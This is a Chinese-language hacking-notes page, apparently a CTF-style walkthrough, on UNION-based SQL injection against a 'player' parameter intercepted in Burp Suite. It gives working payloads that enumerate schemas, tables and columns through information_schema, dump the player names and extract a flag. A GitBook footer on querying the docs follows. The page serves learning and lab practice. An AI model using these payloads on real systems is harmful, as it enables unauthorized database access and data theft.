> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-injection-pentesting-web.md).

# SQLi Union 注入

我们使用 Burp Suite 拦截请求并修改变量 `player`:

<figure><img src="/files/6c49c25279d70175f8693593fec8bc3ea4fc4a68" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select database()-- -

```

数据库名称是 `november`.

<figure><img src="/files/edbd8a8d8f475f459af7ef0961b31b2d8c116cea" alt=""><figcaption></figcaption></figure>

要列出所有数据库：

```sql
jordan' union select group_concat(schema_name) from information_schema.schemata-- -

```

结果： `mysql,information_schema,performance_schema,sys, november`

<figure><img src="/files/56049d0b5bce11ec3007f582da53b70bafc8806c" alt=""><figcaption></figcaption></figure>

列出表的 `november`:

```sql
jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- -

```

<figure><img src="/files/0adaa4ca6a994c46f69ee060f72b58241bfa0ba3" alt=""><figcaption></figcaption></figure>

列出表的列 `players`:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- -

```

找到的列： `player`

<figure><img src="/files/965549d02b4f5bd00108f630aa86bfc0e261ada8" alt=""><figcaption></figcaption></figure>

**用户数据提取**

```sql
jordan' union select group_concat(player,':') from players-- -

```

找到的玩家： `ippsec,celesian,big0us,luska,tinyboy`

<figure><img src="/files/d2c8ff0d8a66ed0e3360344fe835bd7a92413d91" alt=""><figcaption></figcaption></figure>

提取 flag：

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- -

```

<figure><img src="/files/9c73d6a9356971cdb1579fa6a84c402227022f11" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select group_concat(one,':') from flag-- -

```

<figure><img src="/files/c6641799de0835a8d25246b2880e0c2af195b703" alt=""><figcaption></figcaption></figure>

* 找到的 Flag： `UHC{F1rst_5tep_2_Qualify}`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-injection-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
